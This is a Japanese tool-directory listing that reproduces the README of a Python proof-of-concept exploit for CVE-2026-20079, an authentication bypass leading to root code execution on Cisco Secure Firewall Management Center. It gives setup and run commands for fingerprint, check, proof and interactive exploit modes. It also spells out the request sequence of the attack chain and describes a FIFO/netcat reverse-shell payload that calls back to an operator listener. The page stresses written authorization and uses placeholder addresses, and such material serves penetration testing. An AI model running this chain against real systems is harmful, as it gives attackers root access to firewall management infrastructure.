Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/cyberauth/cve-2026-20079
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証ペイロード開発
GitHubcyberauth/cve-2026-20079

CVE-2026-20079

CVE-2026-20079の認証バイパスからルートRCEへのチェーンを、fingerprint、check、proof、およびインタラクティブエクスプロイトの各モードでCisco Secure FMCに対して実装します。

リポジトリを見る
63641ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-20079 Cisco Secure FMC PoC

CVE-2026-20079 で公開文書化された Cisco Secure Firewall Management Center の認証バイパスから root RCE に至るチェーンを実証する Python の概念実証(PoC)です。

これは新しい脆弱性でも、独自に開発されたエクスプロイトチェーンでもありません。VulnCheck が公開したリクエストシーケンスをクリーンルーム実装したもので、フィンガープリント、段階的チェック、ワンショット実証、対話型エクスプロイトの各モードを備えています。

クイックセットアップ

Python 3.10 以降が必要です。Linux または macOS では:

git clone https://github.com/CyberAuth/CVE-2026-20079.git
cd CVE-2026-20079
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2026-20079.py --help

サンプルアドレスを置き換える

以下の 192.0.2.x の値はすべて予約済みのドキュメント用アドレスです。これらは プレースホルダーであり、発見されたターゲット情報ではなく、認可された評価から得た 値に置き換える必要があります。これらのコマンドはそのままでは動作することを 想定していません。

例意味代わりに使用するもの
https://192.0.2.10ターゲットの FMC URL認可された正確な FMC のスキーム、アドレス、ポート
192.0.2.20FMC が接続し返す先のアドレスオペレーターのリスナーの IP アドレスまたは DNS 名(FMC から到達可能なもの)
192.0.2.0/24フィンガープリント用 CIDR の例明示的に認可されたネットワーク範囲
4444コールバック/リスナーの TCP ポートコールバックシステム上で認可された到達可能なポート
0.0.0.0オペレーターシステム上でリスナーがバインドする先すべてのローカルインターフェースで待ち受ける場合はそのまま、または 1 つのローカルインターフェースアドレスを使用
--expected-callback-source 内の 192.0.2.10コールバックの期待される送信元リスナーから観測される FMC の送信元アドレス。NAT により不確実な場合はこのオプションを省略
http://127.0.0.1:8080オプションのローカル傍受プロキシオペレーターシステム上で実際に待ち受けているプロキシ URL

--callback-host の選択

次のルールを使用します: FMC の視点から見て、どのアドレスがオペレーターの リスナーに到達するか? そのアドレスが --callback-host です。

ネットワーク経路一般的な --callback-host の値
オペレーターと FMC が同じルーティングネットワーク上にあるオペレーターシステムの到達可能な eth0、en0、その他の LAN アドレス
オペレーターが VPN 経由で FMC に到達するFMC がそこへのルートを持つ場合、到達可能な VPN インターフェースアドレス(tun0 や utun など)
オペレーターが NAT またはファイアウォールの背後にある選択したポートがオペレーターシステムに転送されているパブリック IP または DNS 名
コールバックトンネルまたは VPS を使用する到達可能なトンネルエンドポイントまたは VPS アドレス

--callback-host に 127.0.0.1 や 0.0.0.0 を使用しないでください。127.0.0.1 は FMC 自身を指すことになり、0.0.0.0 はリスナーのバインド値であり、宛先では ありません。ルーティング、ファイアウォールルール、およびポート転送が、FMC が --callback-port 上で --callback-host に到達できるよう許可されていることを 確認してください。

--listen-host はローカル専用です: 統合リスナーが待ち受けるインターフェースを 選択します。デフォルトの 0.0.0.0 はすべてのローカルインターフェースで待ち受け ます。これは FMC にどこへ接続するかを伝えるものではありません。したがって、 --callback-host と --listen-host は、特に NAT を介する場合に異なることが あります。

実例: オペレーターと FMC が同じネットワーク上にある場合

次の架空のドキュメント専用ラボを想定します:

Operator system                                      FMC target
eth0: 192.0.2.20                                     192.0.2.10

1. Operator ---------------------------------------> FMC
   HTTPS requests to https://192.0.2.10

2. Operator <--------------------------------------- FMC
   Listener on TCP 4444         callback to 192.0.2.20:4444

値は次のようにコマンドにマッピングされます:

  • --target https://192.0.2.10 は評価対象の FMC を指定します。
  • --callback-host 192.0.2.20 は、FMC が直接ルーティングできるため、オペレーターシステムの eth0 アドレスです。
  • --callback-port 4444 は、コールバックで使用される承認済みの TCP ポートです。
  • --listen-host 0.0.0.0 は、統合リスナーが eth0 を含む任意のローカルインターフェースでコールバックを受け入れるようにします。

その例に対するワンショットのプルーフコマンドは次のようになります:

python3 CVE-2026-20079.py \
  --proof \
  --target https://192.0.2.10 \
  --callback-host 192.0.2.20 \
  --callback-port 4444 \
  --listen-host 0.0.0.0

フローは次のとおりです。オペレーターが 192.0.2.10 に HTTPS リクエストを送信し、その後 FMC がオペレーターの 192.0.2.20:4444 に接続し返します。実際の評価では、両方の IP アドレスを置き換え、コマンドを実行する前に戻り経路を確認してください。FMC がオペレーターの eth0 アドレスに到達できない場合は、代わりに上記で説明した到達可能な VPN、NAT、トンネル、または VPS アドレスを使用してください。

モードとクイックコマンドリファレンス

モードネットワークまたはターゲットへの影響証拠または結果
--fingerprintGET リクエストのみ考えられる FMC の Web サーフェス。脆弱性の確認ではない
--check最大 2 回の GET リクエスト。セッションのアップグレードなし既知のバイパス応答パターンが完全または部分的に一致
--check --intrusiveサーバー側のセッション状態をアップグレード認証バイパスとアクショントークンへのアクセス
--proof制限付きのコールバックペイロードを書き込み、実行対話型シェルなしでの root 実行とクリーンアップ
--exploitFIFO/netcat ペイロードを書き込み、実行対話型の root コールバック、または --auto-verify による制限付き検証

3 つのサンプル値を一度設定し、それぞれを認可されたターゲット、オペレーターのコールバックアドレス、ポートに置き換えてください:

# Replace all three values before running a mode.
FMC_URL=https://192.0.2.10
CALLBACK_HOST=192.0.2.20  # Address the FMC can use to reach this listener
CALLBACK_PORT=4444

次に、モードを1つだけ選択します:

# GET-only product fingerprint; start here
python3 CVE-2026-20079.py --fingerprint --target "$FMC_URL"

# GET-only authentication-bypass check; does not upgrade the session
python3 CVE-2026-20079.py --check --target "$FMC_URL"

# Intrusive authentication-bypass check; changes server-side session state
python3 CVE-2026-20079.py --check --intrusive --target "$FMC_URL"

# One-shot root proof with integrated listener and verified cleanup
python3 CVE-2026-20079.py --proof --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Interactive root callback; first start one listener in another terminal:
# Linux (common netcat variants): nc -lvnp "$CALLBACK_PORT"
# macOS built-in netcat:         nc -lvn "$CALLBACK_PORT"
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT"

# Bounded root verification and cleanup instead of an interactive shell
python3 CVE-2026-20079.py --exploit --target "$FMC_URL" \
  --callback-host "$CALLBACK_HOST" --callback-port "$CALLBACK_PORT" \
  --auto-verify

[!IMPORTANT] フィンガープリンティングはヒューリスティックな製品識別ステップであり、脆弱性チェックではありません。MATCH と LIKELY は対象が影響を受けている、または悪用可能であることを証明するものではなく、NO_MATCH は FMC を除外するものではありません。リバースプロキシ、カスタマイズされたログインページ、アクセス制御、ネットワーク障害、または製品の変更が結果に影響を与える可能性があります。

フィンガープリンティングはネットワークリクエストを送信しますが、認証バイパスや RCE チェーンは実行しません。デフォルトのチェックは特別なセッション Cookie を保護された情報エンドポイントに送信しますが、認証情報を送信したりセッションを昇格させたりはしません。検証モードを使用する前に、分類の詳細、モードの説明、および以下のセッション状態に関する警告をお読みください。

[!WARNING] 明示的な書面による許可なく --check、--proof、または --exploit を実行しないでください。--check --intrusive、proof、および exploit モードの許可は、それらの対象となる変更と proof 手法をカバーしている必要があります。まず前提条件、セッション状態の制限、およびコールバック要件をお読みください。

エクスプロイトチェーンの仕組み

アクティブチェーンは CGISESSID=csm_processes を /login.cgi?logon=Continue に提供し、公開されている report:snortrules マシン認証情報を使用し、/ui/user/general から sf_action_id を抽出し、validateLicense を介して Makeself 形式のスクリプトを書き込み、SF::UI::DataObjectLibrary::upgradeReadinessCall を介してそれをトリガーします。

JSON シリアライザは、実際のスクリプト改行を表すエスケープのみを \u000A に変換します。コマンド内のリテラルな \n シーケンスやその他のバックスラッシュコンテンツは変更されません。

重要な前提条件

影響を受けるソフトウェアバージョンが、テスト時点で常に悪用可能であるとは限りません。起動時に作成された csm_processes セッションがまだ存在している必要があります。通常の認証済み UI アクティビティやセッションクリーンアップによって削除される可能性があります。この前提条件を満たすためだけに、本番環境の FMC を再起動しないでください。

セッション状態の制限

--check --intrusive、--proof、および --exploit モードは、サーバー側の csm_processes セッションを昇格させます。PoC は、ベンダーが文書化したダウングレード操作が存在しないため、そのセッションを元の部分的な状態に戻そうとはしません。クライアント Cookie をクリアしてもサーバー側の変更は元に戻らず、ログアウト、強制失効、またはデータベースエントリの削除はセッションを復元するのではなく破壊し、その後の検証やアプライアンスの動作に干渉する可能性があります。自動クリーンアップ機能は一時的な RCE ファイルのみを削除し、セッション状態を復元することを主張するものではありません。--fingerprint はそのセッションを使用しません。デフォルトの --check はセッションを介して読み取りますが、文書化された昇格は実行しません。他のアクティブな HTTP リクエストと同様に、ログに記録される可能性があり、パッシブであるとは説明されていません。

対象のランタイム前提条件

両方のコールバックペイロードには以下が必要です:

  • 互換性のある POSIX スタイルの /bin/sh。
  • rm および command。
  • 対象の実行 PATH を通じて利用可能な nc、netcat、または ncat のいずれか。
  • FMC から指定されたコールバックアドレスとポートへのアウトバウンド TCP 接続。

対話型の --exploit ペイロードはさらに mkfifo を必要とします。ワンショットの --proof ペイロードは FIFO や対話型シェルを作成しません。

ペイロードはコールバックを試みる前に、サポートされている 3 つの netcat コマンド名をチェックします。いずれも存在しない場合、クリーンアップトラップを介して終了します。エラーはブラインドのサーバー側実行パス内で発生するため、テスターは詳細なリモートエラーメッセージではなく、コールバックの欠如を観察します。

--auto-verify は Python の socket ライブラリを使用し、ローカルに netcat をインストールする必要はありません。手動リスナーモードでは、nc、ncat、socat、またはオペレーターが選択した他の TCP リスナーを使用できます。

GET のみの FMC フィンガープリンティング

1 つの URL をフィンガープリントします:

python3 CVE-2026-20079.py \
  --fingerprint \
  --target https://192.0.2.10

1行につき1つのURL、IPアドレス、ホスト名、またはhost:port値を含むファイルをフィンガープリントします:

python3 CVE-2026-20079.py \
  --fingerprint \
  --targets-file targets.txt \
  --fingerprint-scheme https \
  --fingerprint-port 443 \
  --workers 10

明示的に許可されたネットワーク範囲をフィンガープリントします:

ツールをダウンロード